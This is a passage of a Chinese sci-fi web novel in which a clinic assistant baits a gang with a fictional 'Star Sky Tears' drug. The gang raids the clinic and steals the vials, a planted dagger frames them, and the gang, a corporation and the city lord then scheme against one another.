“当然！如果客人口中所说的这种药剂真的存在的话，我们当然愿意交换！”那人在房间正中的沙发上坐下了身，伸手对着江寻一引，“不仅如此，若是客人您能证实所言非虚，我们甚至还可以再给您一笔钱！” 一听这话，江寻马上接口道：“我的药当然存在，你们要怎么证实？” 男人拍拍手，便有一人从身后站着的队伍中走上前来。 “你既然说这是一种能比‘蓝眼泪’效果更好的药剂，那当然是让用过‘蓝眼泪’的人，来亲自试验一下了！” 江寻看一眼站出来的高大哨兵，面露难色。 “我的‘星穹之泪’也是刚刚做出来的试验品，只有一支，让他用掉了我还卖什么？” “哦？还是试验品？”坐在沙发上的男人眼睛盯住江寻，沉沉的威慑力压了下来。 江寻一接触到他的眼神，便承受不住似得微微后退了一步，反应过来后，忙开口解释道：“虽然是试验品，但我也没骗你，它的效果绝对强大，这一点是我亲自试验过的！” 男人沉吟了片刻，接着道：“既然这样，那我给你个机会。我给你一笔钱，就当是我买的，你拿半滴你的药剂出来，让我的人试验。如果效果真的如你所说的那么好，我就用船票换你剩下的药剂，但如果你敢骗我……” 男人话音未尽，但所有人都知道他的意思。 见达成了目的，江寻马上见好就收，从怀中取出了一小支不起眼的，包裹严实的，还微微透着冷气的玻璃小管，小心翼翼地拧开。 冰蓝色的药剂份量非常少，看着只有几滴的样子。 在昏黄光线下，液体内部仿佛有无数细微的星辰在缓缓流转、沉浮，散发出一种奇异的柔和光晕。在透明容器中，反射出点点微光，十分符合它的名字“星穹之泪”。 药剂一露面，那个高大的哨兵马上像是受到了吸引一般，眼神发直，踏前了一步。 江寻瞪他一眼，小心翼翼地打开开口，一副肉痛的表情，极其吝啬地把小管微微倾斜下去，将半滴药剂滴入了一杯清水之中。 那滴液体落入杯中的瞬间，整杯普普通通的清水，马上像是被注入了生命！ 幽蓝色的光晕瞬间扩散开来，将整杯液体渲染成一种神秘而诱人的星空蓝色，其中还隐隐散发出一种如药材一般，苦涩又厚重的奇异香气。 这一下，药剂中蕴含着的某种东西，更加赤|裸地呈现在了几人面前。 高大的哨兵，再也忍不住，眼睛都发红了起来，几步上前，一把夺过江寻手中的杯子，便把其中的液体“咕嘟咕嘟”全部喝了下去。 坐着的男人被高大哨兵急不可耐的动作惊得一愕，神情更加严肃了起来，连靠在沙发上的脊背都坐直了起来。 众人的目光，全部落在了中间那哨兵身上。 一秒……两秒…… 突然！ 高大哨兵的胸膛猛地向上一挺，喉结疯狂上下滑动起来，眼神整个涣散了开来，喉咙里发出一声悠长深沉，仿佛从灵魂深处发出的喟叹。 面上表情迷乱，饱含着难以言喻的舒爽和极致的解脱！ 下一刻，他的身体以肉眼可见的速度松弛了下来。 原本紧绷虬结，仿佛要炸裂开来的浑厚肌肉，突然失去了力道，软绵绵地松弛了下去。手臂上一条条遒劲而凸起的青筋，缓缓平复了下去。 一直萦绕在身边的令人心悸的狂躁精神力场，在一阵突然的剧烈变化之后，如同被一只温柔的手轻轻抚平，瞬间宁静了下来，只剩下一种平和稳定的气息。 他缓缓地，带着点难以置信的表情，缓过了神来，低头看向摊开的双手，手指屈伸，感受着体内奔涌的纯净澎湃力量。 一种久违的宁静与强大感涌上心头。 他抬起头看向身边众人，眼神不再狂躁而狠厉，反而澄澈无比，带着一丝新生的茫然。 “呃啊——” 又是一声满足的悠长吐息从他口中溢出，哨兵的脸上微微露出惬意的笑意，甚至带着一种近乎圣洁的平和与舒适。 死寂。 房间中只剩下粗重的呼吸声。 沙发上的男人已经忍不住站起了身，眼神死死钉在那哨兵身上，充满了震撼！ 此时已经不用再去问这药剂的效果如何！ 男人那双原本精明而带着审视的眼睛，此刻如同发现了绝世宝藏的饿鬼，猛地爆发出骇人的精光！ 他的呼吸骤然变得粗重起来，胸膛起伏，目光如同烧红的烙铁，死死地盯住江寻手中那支已经重新拧紧的玻璃小管。 江寻适时地露出一丝惊慌与警惕，下意识地将那小管往怀里藏了藏，身体微微后退了半步。 成了！ 江寻垂下眼睑，掩去眸中一闪而过的锋芒。 鱼饵已下，上钩的会是你吗？—— 作者有话说：不出意外，还有一更[化了] 第84章 青烟袅袅的玄鹤堂中， 实木所制的摆设雅致而厚重地铺陈开来，堂中挂着的下山虎挂画威风凛凛，给整个明堂增添了一分凶悍之气。 此刻堂上正有一人， 大刀金马地横坐着， 凝眉听着堂下小弟的汇报。 “比‘蓝眼泪’效果还好的新药剂？‘星穹之泪’？” 谢谦面色不善地坐在上首， 听着派出去盯着夏因诊所的小弟，述说着刚刚发现的消息，面色狐疑。 “怎么可能？夏因手上若有这种好东西， 还用得着窝在这偏僻的犄角旮旯里？天天给哨兵疏导吗？” “绝对没错老大！”堂下的小弟面色兴奋， 急切地说道：“我们的人一路跟着那个大个子，到了肖恩的酒吧，亲眼看着他们一起上的楼！后来走的时候，那个大个子还是被肖恩亲自搭着肩膀送出来的！” “哦？！” 听到这里，谢谦的眼睛眯了起来，手指有规律地敲击在膝盖上。 “你们还打听到什么了？他去找肖恩用这药水换了什么？” 此时， 另一个瘦猴一样的男人急忙站了出来：“我知道我知道！听那个大个子说， 这个药剂还是个试验品， 他手上只有一支，他要拿这个药剂来换肖恩手上的一张船票！” “试验品？船票？！”谢谦眼睛一转， 觉得自己明白了。 “这药还是试验品，是夏因刚刚做出来的， 被他偷出来偷偷卖掉，换了一张船票， 想要离开这个马上就要开战的鬼地方？” “呵！那个女表子还有这本事？” 又想到了那个诱人的身影，谢谦忍不住咽了口口水，舔了舔嘴唇。眼睛一转，再次问道：“看样子那支药剂被肖恩拿到了？那个老狐狸可不会做亏本的生意， 他一定找人试过这个药了！你们有人看到他试药的景象了吗？” 堂下几人面面相觑，当先一人回道：“老大，这个肖恩把消息封锁得严实，送了那个大个子离开以后，便马上躲进了酒吧里再也没出来，要不是我们一直盯着夏因的诊所，连这些消息都探听不到的！” 虽然知道这个肖恩是个无利不起早的人物，谢谦还是有些难以相信，他以为那个只有脸漂亮的小蠢货早就已经失去了价值，万万没想到，时间都过去快三年了，他还能突然给自己这么一个惊喜。 “不对！”谢谦又想到了什么，面色狐疑起来，“他要是搞出来了这种好东西，怎么天启那边一点儿动静也没有？雷鸣不可能不知道这东西的价值啊？” “除非……”谢谦面上露出个兴奋的笑，“除非他没告诉雷鸣！这东西是他偷偷搞出来的？！他想脱离雷鸣的控制？” 谢谦站起身来，开始在厅堂中间不停地踱步，一边走着，嘴里一边念念有词地说着什么，随着脚下的步子越走越快，面色也渐渐兴奋了起来！ “没错！还真的有可能是这样！好啊夏因！没想到这个女表子居然这么有用！” 正欲马上带上人手去抓人，扭头一看，堂中却只有那三五个连哨兵不是的喽啰。原本他从没把这样的人看在眼里过，如今却成了他手下仅剩的力量了。 勉强压下冲动，谢谦说服着自己。 现在这种情况，不能冲动！这事没成之前，绝对不能让雷鸣知道！ 好不容易遇到这种机会，要更加谨慎才行！ 谢谦在心中默数着日期，一点兴奋的笑意爬上嘴角。 两天后，就是这个月的主星食了！ * 另一边，江寻在放出那支药剂之后，又回到了诊所里，按部就班地工作。 像是丝毫不知道背地里的暗潮汹涌。 两天后，目送着夏因再一次换了外出的衣装，早早出门去了雷鸣那里，江寻也提前关上了诊所大门。却丝毫没有去睡觉的意思，而是坐在制备间里，一直忙着什么。 外间如今已经开始施行起了宵禁制度，往日里，及至深夜才会渐渐安静下来的街道，如今，在主星还没黯淡下来时，就没了人影，只余不时在街道上巡逻的城主府警备队来来回回。 时间渐近深夜，江寻独自坐在操作台前，面前放着一个不起眼的灰色低温保险箱，里面静静躺着几支幽蓝流转的“星穹之泪”，无声等待着。 良久，在江寻几乎都要以为自己猜错了时，精神感应中，终于传来了一个异常的动静。 来了！ 头顶上的通风管道内，传来一阵极其轻微的金属摩擦声，感应中，好几个人影正排着队，顺着管道入侵了进来。动作果断专业，明显都是个中好手。 江寻嘴角勾了起来，瞬间把低温保险箱中的几瓶药剂快速拿起，装入旁边另外一个普通的保险箱里，并将这个保险箱一把推入了操作台下预设的卡槽，发出一声轻微的“咔哒”锁定声。 他站起身来，活动一下手腕，眼神瞬间锐利起来，紧紧盯向头顶的管道出口。 “砰——” 一声沉闷的爆响！通风口上的格挡被猛的从内向外撞碎，碎片如无数锋利的小刀，向着江寻的面门便冲击了过来。 与此同时，几道穿着统一黑色作战服，面覆面罩，完全看不出一丝个人特征的身影，如鬼魅般顺着管道出口扑了出来。 “你们是什么人？！” 疾如闪电的一闪身，当先躲过了那些碎片的袭击，江寻呵斥一声，迎着第一个跳下了管道口的人影就冲了上去。 冲到那人面前，却没有直接去硬撼对方已经劈下来了的电击棍，身子如灵活的游鱼一般一弯一折，便从第一个人的侧面滑了过去，直接突袭到了第二人的面前。 第二个人明显没有想到江寻的反应会这么快，仓促间，便要抬手刺出手中的电击棍。可两人之间，明显是已经突到他面前的江寻更快，只见江寻左手闪电般一抬，如有预料一般，提前便把手放在了面前人刺过来的路径上。 那第二个人根本反应不过来，就这么像是主动配合似得，直接把自己的手腕放进了江寻掌心之中。 下一秒，江寻手腕一动，精准地向下一扭，令人牙酸的骨裂声伴随着惨叫响起！对面的人影整只手臂都软软地垂了下来。 “点子扎手！B组去找目标！A组缠住他！”身后传来急促的命令声。 话毕，当先下来的三人，包括那个一只胳膊软下去的，马上便包围住了江寻，而后面进来的两人，丝毫不向他们这边看一眼，一落地，便扑向了放满了瓶瓶罐罐的操作台，立刻开始翻箱倒柜地找起了什么东西，粗暴的动作，将药品器械扫落一地。 “混蛋！你们要做什么！” 江寻一声怒吼，就要上去阻止，身侧却寒光一闪，一把匕首就这么从极近的距离刺了过来。 再顾不上关注在操作台上翻找的两人，江寻把注意力集中在面前的三人身上，凭借着精神感应与预判，在狭小的空间内与三人激烈缠斗了起来。 他展现出的实力让袭击者心惊，但也更激起了他们的凶性。三人呈品字形围住江寻，攻势如同狂风暴雨！ 这一下，攻势瞬间逆转！刚刚还能偶尔反击一下的江寻，马上变得险象环生起来。一个闪神，一记拳风擦过他的颧骨，侧脸马上红肿起了一片。 “嘶！”江寻一声痛呼，下一刻，呼吸越发急促了起来，动作也似乎慢了一丝下来，整个人被三人压制着，逼近到了角落里。 “找到了！在桌子下面！”操作台那边传来一声兴奋的低吼！一个人影手往下一伸，便要把藏在卡槽里的保险箱拖出来。 江寻面色一变，大吼一声，眼中寒光一闪，作势便要不顾一切地扑过去救援！ “拦住他！”一人怒吼出声，围攻的三人马上同时发力，匕首、电击棍、还有一记势大力沉的侧踢同时向着江寻招呼过来！ 江寻面上一惊，勉力躲闪过匕首，用手臂格挡住电击棍，身体却不可避免地被那记侧踢狠狠扫中！ 只听“砰——”一声，江寻一声惨呼，整个身体便被巨大的力量带着撞向了身后的金属药柜，发出巨大的撞击声响！ 瞬间，整个药柜都被这巨大的冲击撞得凹陷了下去，药瓶碎裂，药粉四溅。 而江寻，脚下踉跄一步，便失去了平衡一般重重摔了下去，顺着歪斜的柜子滑坐在了地上，一手捂住肋部，口中剧烈地喘息着，面色惨白，眼神涣散开来，身子也向着一边歪倒下去。 三人见围攻终于起效，终于松了口气，当中被江寻扭断了手的那人却还不满意，上前一步，举起电棍，带着风声便狠狠地砸向了江寻的后脑！ “砰——” 一声重重的闷响，江寻的头无力地垂向一边，彻底昏死了过去。 同时，操作台边的两人，也顺利取下了卡槽内的保险箱。 领头的迅速打开保险箱一看，一排五支闪烁着迷人炫彩的星空蓝色试剂瓶整整齐齐地排列在里面！ 面色一喜，眼中闪过贪婪，又迅速被他压了下去。重新把保险箱一合，谨慎地抱在怀里，向着其余四人一打手势。 “目标到手！快走！” 五个人再次顺着炸开的通风管道，迅速撤离，身影闪动几下，避过了巡逻的卫兵，就这么消失在了沉沉夜色之中。 一队巡逻官顺着街道从夏因的诊所面前经过，无人发现，一墙之隔，诊所里一片狼藉，满地的碎玻璃、散落的药品与翻倒的器械。 一点血腥味弥漫开来，毫无知觉倒伏在地上的人影身下，渐渐晕染开一片鲜红—— 作者有话说：又是一大段打戏，写得要死要活[化了]555~~我是菜鸡 第85章 第二天清晨。 当夏因拖着疲惫的身体， 打开诊所大门，踏上台阶之时，眼前的景象让他瞬间如坠冰窟。 冰凉的主星光从侧面被砸坏的窗户中投射进来， 照亮了满屋的狼藉。 珍贵的药品仪器散落一地， 被踩踏得不成样子， 变形的桌椅药柜，在角落里扭曲着躺着，满地的碎玻璃、散溢的书页、横流的已经看不出是什么的液体， 空气中， 各种不同的药水味、硝烟味、血腥味混杂在一起，糊在他的脸上，让他几乎无法呼吸。 突然，他想到了什么，神情一激灵，迅速往里间跑去， 边跑边喊着。 “江寻！你在哪？！” 猛地推开半开的门扉， 房内的情景让他一瞬间如坠冰窟。 角落里， 他遍喊不到的人，正紧挨着被砸瘪了的药柜， 面色苍白一动不动地躺在地上，头部下方， 洇开一滩血水，整个人毫无声息！ “江寻——！” 一声凄厉到变调的悲愤怒吼猛地从夏因胸腔中炸开！ 声音中饱含着无法置信的惊骇和撕心裂肺的痛楚。 他踉跄着扑上前去， 手指颤抖地竟然一时不敢去触碰面前的人。 直到不知何时已经汹涌而出的泪珠滴落在了那人苍白的面庞上，这才抖着手探向了他的颈动脉。 手指冰凉麻木地几乎什么也感受不到，他赶忙伸出双手使劲儿攥在一起狠狠搓了搓，这才再次伸出了手去。 这一次， 他顺利感受到了那微弱却稳定的跳动声，直到这时，紧绷的神经才稍稍一松，但随即，更深更恨的愤怒和悲伤，便如同海啸般将他彻底淹没了下去。 他跪坐在一地狼藉中，不顾满地的碎玻璃已经把他的膝盖划破，流下了血来。双臂紧紧抱住昏迷的江寻，脊背不能承受般深深弯折了下去，肩膀剧烈地抖动，嚎啕大哭声中，蕴含着刻骨的恨意。 诊所外的街道上，此时正有一队例行巡逻的城主府卫兵经过。这突然而来的凄厉哭泣声，立即让他们心中一肃，迅速循声寻来。 一踏上台阶，他们便被诊所内部的一片劫掠后的景象震惊，哭声更大了，迅速对视一眼，想起城主的叮嘱，心中一紧，小跑着进入了内室之中，马上发现了正哭得悲恸欲绝的夏因和他怀中昏迷的年轻人。 “先生！发生什么事了？”领头的小队长沉声问道，示意队员在四周警戒起来并开始记录现场。 人还温热着被他抱在怀里，心中恐慌渐去，夏因这才想起了江寻提前叮嘱过的话。也不用整理表情，现在的一切情绪都真实得无可挑剔。 抬起头来，仰着泪痕未干的苍白小脸，眼中燃烧着熊熊怒火，指向头顶被破开的通风管道和满地的狼藉，声音嘶哑着控诉： “有人昨天闯入了我的诊所！他们昨天趁我不在闯了进来！抢走了我最重要的研究！江寻为了保护我的东西，被他们打成了……打成了这样！呜呜呜——” 他捂着眼睛，目光穿过手指的缝隙，扫过一边的柜底，确认那个带着血狼帮特有的狼头标志的匕首，正静静躺在原地，便更加真心实意地哭了起来。 听得此言，卫兵们心中皆是大怒。战时警戒条例刚刚公布，就有人公然在中心区域内做下此等恶劣的行径，这和把他们的脸皮放在脚下踩有什么分别？ 根本不用人去敦促，卫兵们迅速展开调查。 小队长抬起头来，仔细检查了通风管道口的爆破痕迹，又蹲下身，查看了江寻的伤势，确定了他所受的伤不会带来生命危险，这才安下了心来。 很快，在屋中搜查的卫兵们，就找到了被遗落在柜子下方的这把匕首。一见到匕首上雕刻着的图案，众人面上纷纷露出了然、愤恨的神色来。 小队长当即取出记录仪，一边拍摄，一边沉声将本次调查到的信息记录了进去。 又帮夏因叫了救护车，把两人一起送到了最近的医院中，才带着记录与证物，回了城主府。 * 血狼帮据点，玄鹤堂。 谢谦高坐在首座，眼睛却不停地看向时钟的方向。 当他的心腹抱着那个冰冷的灰色保险箱出现在门口时，才猛地站了起来，眼中爆出精光。 “怎么样？” “老大，拿到了！”心腹的声音带着难以抑制的兴奋。 谢谦根本等不及对方把保险箱呈上来，一个箭步就冲了上去，一把从对方怀中抢过保险箱，就迫不及待地粗暴打了开来。 “咔哒！”箱盖弹开。 五支细长的试管正静静地躺在黑色绒布的凹槽里，瓶中的液体深邃幽蓝，内部仿佛有无数细碎的星辰在缓缓旋转沉浮，幽幽地向外散发出柔和而神秘的辉光，一下子便照亮了谢谦兴奋的面庞。 谢谦眼中迸射出骇人的精光，贪婪地、近乎痴迷地盯着那几支流转着神秘光晕的“星穹之泪”，嘴角越咧越高，脸上的肌肉都因那极致的兴奋而扭曲了起来。 他伸出粗壮的手指，刚一触碰到那冰冷的玻璃管壁上，便觉得指尖一颤，有什么看不见摸不着的东西，竟透过那管壁渗入了他的指尖。 随即，瓶中液体似乎也被这触碰惊扰，其中漂浮着的细碎星辰纷纷向着他的指尖聚集了过来，竟像是在围绕着他的指尖旋转的星辰。 那指尖渗入的一丝药力，也飞快地消失在了谢谦的皮肤之下。谢谦马上感觉到触碰管壁的那根食指一轻，内里流动着的精神力立时变得清澈精纯了起来！ 神药！真的是神药！ 只是触碰到玻璃外壁，便能对他这样的B级哨兵产生作用的药剂，他从没听说过！ 此刻，根本不用验证，他几乎立马就相信了探听到的信息！这真的是一种比天启集团的支柱产品“蓝眼泪”还要强效的药剂！ 他喉咙里发出嗬嗬声，表情因为无法言喻的狂喜和贪婪，彻底扭曲了起来，控制不住地大笑出声： “哈哈哈！是真的！那个小女表子居然真的做出了这样的东西！这岂止是比‘蓝眼泪’强一点的程度？这绝对是足以超过‘蓝眼泪’十倍的价值！那个蠢货居然只用它去换一张船票！哈哈哈哈！都是我的了！全都是我的！” 他猛地合上保险箱，将这个小小的金属盒子紧紧抱进了怀里，仿佛抱住了他光芒万丈的闪耀未来。 眼中闪烁的贪婪之光，如实质的火焰一般熊熊燃烧起来。 他仿佛已经看到斯科特对他俯首称臣，看到天启集团在他的打击下节节败退，看到自己站上启明星的顶端，俯视着整个自由城的景象！ 是啊，有了这“星穹之泪”，他哪里还需要卑躬屈膝地去讨好斯科特！只要让他得到机会，他就可以凭此挤掉天启集团，夺取他们的一切！到时候岂止是一个自由城？他会成为几个星球上当之无愧的王！ 远大的野望刺激地他浑身激动地颤抖起来，想起了什么，眼睛猛地看向站在下方，因他的异状眼露畏惧的心腹。 “你们去的时候夏因没在吧？这件事有没有泄露出去？” 心腹一惊，忙回答道：“没有没有，夏因没在，店里只有那个助手在，我们动手的时候也很小心，没有用枪械，直到我们撤退的时候也没被巡逻队发现！” 谢谦闻听此言，眼睛一瞬睁大，声音都因为激动而尖锐起来：“你们没杀了那个男人？” “啊？”心腹一愕：“不是只抢东西吗？您之前没让我们灭口啊？” 谢谦一气！这个蠢货！之前他的确没打算杀人灭口，可看到这神药的效果，当然要马上把知道这件事的人灭口才对！ 混蛋！要不是他实在手下无人可用，他怎么会让这个蠢货去做！ 强忍下怒气，接着问道：“那没有在他面前暴露你们的身份吧？” 心腹忙道：“这个老大您放心！我们几个全都伪装得好好的，绝没有留下痕迹的！” 谢谦闻言这才消了些气，脑子在此刻飞速运转起来。 现在知道这件事的都有谁呢？除了我这里，夏因那边，就是肖恩那边了。 肖恩那边主要做的是情报生意，手上没有多少强战力，就算知道这件事，也没法和我争，他最后顶多也只能拿到销售权，说不定以后还能和我合作起来，不足为虑。 现在要防着的就是城主府和雷鸣那边了，若是被他们知道了我手上有这样的“神药”，凭我如今的实力是万万保不住手里的东西的，那到时候就得把东西献给斯科特，重新去给他当狗了。 谢谦咬了咬牙，如今的窘境已经给了他教训！现在好不容易有了千载难逢的机会，不到万不得已，他绝不想再次落到那样的境遇了！ 除了保密之外，最首要的关键是要把夏因和他店里的那个男人控制起来！或者拿到“星穹之泪”的配方，把他们两个干掉！ 这一切必须要快！要赶在夏因向雷鸣透露这个消息之前！ 谢谦抬起头，看了看已经升起的太阳，深深皱了皱眉—— 作者有话说：一更奉上，今天仍然有二更[三花猫头] 第86章 时间刚刚过午。 谢谦坐在玄鹤堂中， 一边焦急地等待着夜晚的到来，一边等待着手下的情报。 不能再出篓子了，今晚， 他决定亲自动手！ 没一会儿， 被他派出去打探夏因行踪的手下， 便脚步快速地奔进了堂中。 “不好了，老大！”人还未至，声音便当先传了进来。 谢谦眼皮一跳， 急急站起身来：“怎么了？我不是只是让你去打探夏因的行踪吗？” 那下属面色紧张， 不知是因为焦急还是怎么的，流了满头的汗：“老大！行踪我打听到了，那夏因今天一天都陪着他那个助手呆在中央医院里。可是……可是……” 那下属紧张之下，居然打起了磕绊。 “可是什么？你倒是说啊！”谢谦急得再次跨前一步，眼睛瞪大紧紧盯着那人。 下属被谢谦的目光看得咽了口唾沫，终于理顺了口条：“可是， 今天街上都在传， 说是我们血狼帮的人， 抢了夏因医生新研究出来的药，城主府已经拿着证据去找斯科特老大了！” “什么？！”谢谦一把抓住下属的衣领， 一使劲便把他拎到了自己面前，“他们怎么会知道的？！他们哪来的证据？你们不是说昨天没有留下破绽吗？” “我……我也不知道啊老大！”下属被谢谦的表情骇得面色发白， 强撑着回道。 “一帮废物！”谢谦的怒气瞬间上涌，一把将手里的人狠狠摔了出去， 心中大乱。 怎么会这样？这帮废物哪里露出了破绽被发现了？混蛋！一定是因为那个活下来的男人！一帮成事不足败事有余的东西！ 谢谦像一头焦躁的困兽在房间里来回踱步。 等等，先冷静一点，他们发现是血狼帮，也不一定能发现是我做的。就算发现是我做的， 也不一定能知道夏因做出来的是这样厉害的药剂，只要其中有一项没被发现，我就还有机会！ 刚刚安慰好自己，还未等他想好下一步怎么办，手腕上的终端上却传来了“滴——”的一声。 谢谦的动作一下顿住，心头涌上不好的预感。 慢慢低下头一看，新讯息里，躺着一条来自血狼帮老大斯科特的留言。 * 血狼帮总部，昏暗的议事厅中。 谢谦低着头，站在老大“血狼”斯科特的座椅前，手指不自觉地蜷缩一下，掌心中渗出冷汗。 议事厅中只有他们两人，然而无形的压迫感，却如有实质一般，从四面八方齐齐压向谢谦。 斯科特靠在椅背上，指节有节奏地敲击着扶手，眼神阴鸷地紧紧盯着谢谦。 “谢谦，”斯科特的声音低沉，带着不容置疑的威压，“城主府的人刚刚来找我，手里拿着夏因诊所的取证记录，还有这把匕首。” 斯科特手一抬，一柄刻着血狼帮狼头徽记的匕首被丢在了谢谦面前。 “城主府咬死了我们公然违犯战时条例，抢了夏因的研究成果，还打伤了他的助手。现在他们要求我们归还赃物，否则就会请天启公司一起来进行三方会谈。你能给我解释一下吗？” 看着那把落在他脚边的匕首，谢谦喉咙发紧。 他当然认识这把匕首，那是他亲自配发给几个心腹的制式武器。可是他昨天行动前曾经耳提面命过，身上不能携带这种有着明显特征的物品。他们回来时也没有禀告这件事，他不觉得他的下属连这种事都搞不清楚。 “老大，这绝对是栽赃！”谢谦咬牙，“我……” “别急着解释。”斯科特抬手打断他，眼神冷得像刀，“你先来告诉我，我是不是说过让你这段时间安分一点？” “这……”谢谦冷汗直冒，斯科特从来说一不二，极度厌恶手下违逆，这次如果不能给出一个让他满意的答案，恐怕下场难测。 而且……谢谦看看被丢在他脚边的那把匕首，眼眸中的痛恨几欲溢出，这是明晃晃的栽赃！若是自己此时不说出“星穹之泪”的存在，难保夏因下一步不会直接把这种神药的存在暴露出来。到时候，自己就更难解释了！ 谢谦咬了咬牙：“老大，我的确派人去取药了，但那是因为，夏因的研究成果根本不是什么普通药剂，而是——” “而是什么？”斯科特眯起眼睛，神色间没有丝毫意外的表现，让谢谦心里更加没底。 城主府已经开始施压，斯科特也注意到了这件事，他再想独吞已经不可能了，深吸一口气，接道： “是‘星穹之泪’！” * 灰色的保险箱，被谢谦抱在怀里，面对着斯科特，缓缓打开。 箱盖掀开的瞬间，幽蓝色的莹莹光亮，便如水波一般流淌而出，映照在斯科特那张阴沉的脸上。 五支药剂静静躺在箱中的绒布凹槽里，瓶内星光流转，神秘深邃，仿佛蕴含着无尽的力量。 斯科特的眼神终于有了一丝变化，他抬眼看向谢谦：“这就是你说的‘星穹之泪’？” “是的！”谢谦心痛欲死，却不敢表现出来，对着斯科特点点头应道。 “什么功能？效果如何？” “这是一种哨向专用的精神稳定剂，疗效远超‘蓝眼泪’！”谢谦低声说道，努力让自己的声音听起来忠心而诚恳，“我也是意外得知夏因居然研究出了这种东西，本想拿回来以后先检测清楚，确认了效果之后再献给老大，但没想到这小子居然设局嫁祸，让城主府也掺和了进来。” 斯科特深深看他一眼，不置可否。伸手中箱子里取出一支药剂，向着灯光直直看过去。 漂亮的蓝色药剂，点点星光在试管中旋转、流淌，被灯光一打几近透明。 斯科特缓缓摩挲着药剂冰冷的玻璃外壳，看着谢谦的眼神愈发冰冷。 “谢谦，这么重要的东西，如果我今天不问你，”他缓缓道，“你打算什么时候把东西拿出来？” 谢谦背脊一寒，冷汗“唰”地冒了出来。 “老大，我只是想先确认一下，确保万无一失……” “是吗？”斯科特冷笑一声，“那为什么城主府比我先知道这件事？” 谢谦张了张口，哑口无言。 斯科特站起身来，高大的身影，让身下映照出来的影子完全笼罩住了站在下方的谢谦。 “药剂我收下了，这件事既然由你开始，就由你来继续负责。城主府那边我会帮你扛下，但是，一周之内，我要见到药剂明确的配方，你能做到的，对吗？” 谢谦的指尖微微颤抖，庞大的压迫感一波一波冲击着他，让他连抬头的勇气都没有。 “……是！老大！” * 熙攘的中央医院中，唯独一处病房安静而静谧。 病房的窗帘半掩着，一缕午后阳光透过窗户照进来，洒在躺在病床上沉睡着的男人面庞上。 江寻脸色苍白地躺在病床上，上身不少地方贴着医用凝胶片，或用绷带缠裹着，呼吸轻缓。链接在一旁的仪器上，规律地发出“滴——滴——滴”的运转声响。 忽然，仪器的声音乱了一瞬，坐在旁边的夏因马上接收到了这个信息，精神一抖，立时凑近去看，正好与江寻颤抖着、慢慢睁开的眼睛正正对上。 “江寻！你终于醒了！”夏因的眼睛红红的，声音嘶哑，“感觉怎么样？头还疼吗？” “……水……”微弱的声音响起，夏因忙从旁边拿起水杯，凑到江寻唇边，声音刻意压低，像是怕刺激到他似得，“……给！喝水，你昏迷了好久。” 江寻嘴唇微启，递到嘴边的温水，润湿了他干燥的嘴唇，喉中的干渴被驱散。眼皮一抖，缓缓睁开，终于露出了那双温柔而疲惫的眼睛。 眼神与夏因对上的那刻，江寻的眼珠微微往外一转，瞟了一眼。 夏因的手马上抓上他的手臂，手指用力，捏了一下。 江寻心中明了，眼皮又耷拉了下去。 “夏因……”他的嗓音沙哑，声音微弱，“对不起，我没有保住你的药……” 夏因的眼眶瞬间湿润，指尖猛地收紧，泛白的指节紧紧抓在洁白的床单上。 “你傻不傻，药丢了就丢了，我再做就是，何必为了它拼命？” “那怎么行！”江寻激动地一使劲，撑起了身子，又脑袋一晃，重重跌了回去，喘息了半天，才张口，声音中满溢着压抑的愤怒：“那可是疗效比‘蓝眼泪’还要强的珍贵药剂！你花了这么长时间才研究制作出来了那么几支！短时间内，怎么再做出来？” “别激动！”夏因一把按住他的肩膀，“只要你没事，其他的东西，我们都可以重新做的！” 江寻的神情悲愤，胸口剧烈起伏起来：“对不起，都怪我不小心泄露了消息，被谢谦知道了此事，偏偏自己又没有本事保住那些药！” 颓然闭眼，嗓音嘶哑：“你还指望着靠这些药剂离开这里，出去重新开始新生活呢！这下……完了……全完了。” 夏因低下了头，半长头发垂落下来，挡住了大半侧脸，看不清表情。呜咽着伏在江寻身上抽泣了起来。 门外，几方不同势力的探子，纷纷记下了关键词，向着自己的主子把第一手消息传递了过去。 晴朗的天空，忽得被层云遮蔽，阴沉了下来—— 作者有话说：二更来啦！明天换榜咯~许愿好榜[害羞] 第87章 天启生命大厦， 顶层会议室。 “嗑噔。” 杯盘相撞的声响，如此微小，却震得座下不少人心旌动摇。 “比我们的‘蓝眼泪’效果还要好的药剂？”雷鸣听着下方的主管刚刚汇报上来的消息， 面色沉凝。 会议室中众人， 噤若寒蝉， 特别是主管与血狼帮业务往来的主管，一脸菜色。 “罗恩，”雷鸣面无表情地看向主管， 罗恩抖了一下， 马上站了起来，座下的实木椅子被他的突然动作推动，刺啦一声倒了下去。 “你能不能给我解释一下，在血狼帮里发生的事，为什么是肖恩那边先知道的？” “这……”罗恩心里把血狼帮骂了给狗血淋头，这会儿却丝毫不敢在雷鸣面前表现出来一分， “雷部长， 斯科特那边一直防着我， 他们人多势众的，手下还有那么多哨兵在， 我……我也一直被瞒着，不知情啊！” “呵， 有意思，”雷鸣突然笑了， “血狼帮这是翅膀硬了，想自己飞了呀。” “三天，”雷鸣竖起三根手指，“我给你三天时间， 三天之内，让血狼帮交出完整配方和他们手上的所有药剂，否则……” 雷鸣居高临下地瞟了他一眼，未尽之意众人皆知。 “还有，市场部，”雷鸣也不叫罗恩坐下，慢条斯理地再次端起咖啡抿了一口，“从今天起，给血狼帮的货，全部涨价三倍。” 干脆利落地下达了指令后，雷鸣便转过了身去，手向后一挥。 十几名高管同时起身，鞠躬过后，鱼贯而出。 雷鸣起身，抬眼透过宽阔的落地玻璃，看向城中心的一个方向，眼中若有所思。 * 城主府，战略监控室。 “天启生命主管罗恩，刚才对血狼帮发起了通话，通话在七分钟后结束，而后罗恩行色匆匆，离开了居住地，现在正在前往血狼帮总部。” 一名技术员语速飞快地汇报。 “另外，据刚截获的情报显示，天启生命已经对血狼帮的所有交易全面提价，并冻结了给血狼帮的二条特供航线！” 城主霍明德正在假寐的双眼陡然睁开，看着屏幕上实时变动的势力分布图，嘴角微微上扬。 “很好，告诉巡逻队那边，继续保护好那两个‘可怜的医生’。”他特意在最后五个字上咬了重音，“记得让记者多拍些他们‘养伤’的照片。” “还有，通知安插在肖恩那边的人，下一步计划可以开始了。” * 第二天，夏因诊所被血狼帮抢劫一事开始在自由城中大肆传播起来。又有一些关于谢谦、假货的小道消息，开始不时在一些酒吧赌场中，交口流传起来。 血狼帮总部。 谢谦心情沉重地被两名昔日的手下“请”了过来，一进门，便被堂上坐着的所有人注目看了过来。 被身后的人一推，谢谦往前踉跄了一步，半跪了下来，一抬头，额头便被一个冰冷的枪管顶住。 一滴冷汗从额头滑下，谢谦的嗓音嘶哑：“老大！外面说的都是谣言！我真的没掉包！那药剂就是我从夏因的诊所里抢来的原装货！” 